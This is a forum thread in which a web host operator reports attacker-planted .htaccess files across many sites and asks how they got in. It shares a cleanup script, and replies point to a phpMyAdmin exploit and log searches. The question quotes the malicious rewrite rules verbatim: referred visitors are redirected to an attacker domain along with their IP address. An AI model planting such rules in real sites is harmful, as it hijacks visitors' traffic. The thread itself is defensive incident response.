We operate a webserver farm hosting around 300 websites.
Yesterday morning a script placed .htaccess files owned by www-data (the apache user) in every directory under the document_root of most (but not all) sites.
The content of the .htaccess file was this:
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://
RewriteCond %{HTTP_REFERER} !%{HTTP_HOST}
RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR}
Googling for that url (which is the md5 hash of "antivirus") I discovered that this same thing happened all over the internet, and am looking for somebody who has already dealt with this, and determined where the vulnerability is.
I have searched most of our logs, but haven't found anything conclusive yet. Are there others who experienced the same thing that have gotten further than I have in pinpointing the hole?
So far we have determined:
- the changes were made as www-data, so apache or it's plugins are likely the culprit
- all the changes were made within 15 minutes of each other, so it was probably automated
- since our websites have widely varying domain names, I think a single vulnerability on one site was responsible (rather than a common vulnerability on every site)
- if an .htaccess file already existed and was writeable by www-data, then the script was kind, and simply appended the above lines to the end of the file (making it easy to reverse)
Any more hints would be appreciated.
==Edit==
For those who need it, here is the script I used to clean up the .htaccess files:
#!/bin/bash
PATT=84f6a4eef61784b33e4acbd32c8fdd72.com
DIR=/mnt
TMP=/tmp/`mktemp "XXXXXX"`
find $DIR -name .htaccess|while read FILE; do
if ( grep $PATT "$FILE" > /dev/null); then
if [ `cat "$FILE"|wc -l` -eq 4 ]; then
rm "$FILE"
else
if ( tail -n1 "$FILE"|grep $PATT > /dev/null ); then
rm $TMP
cp "$FILE" $TMP
LINES=`cat $TMP|wc -l`
GOODLINES=$(($LINES-4))
head -n $GOODLINES $TMP > "$FILE"
else
echo $FILE requires manual intervention
fi
fi
fi
done
There's an exploit of phpMyAdmin
Since the attack seems to have come in through apache, I would do these two things:
grep -rn '\.htaccess' /var/log/httpd/*access*
This will first tell whether the web user itself was compromised, or the attacker was utilizing an arbitrary command execution. It may also give a (potential) full account of what the attacker did. As silly as it sounds, most hacks like this rarely clean up after themselves and leave such evidence behind.
And, of course, if you have a group in your organization that performs security incident response or forensics examination, it might be worth handing the equipment over to them before you begin your own analysis.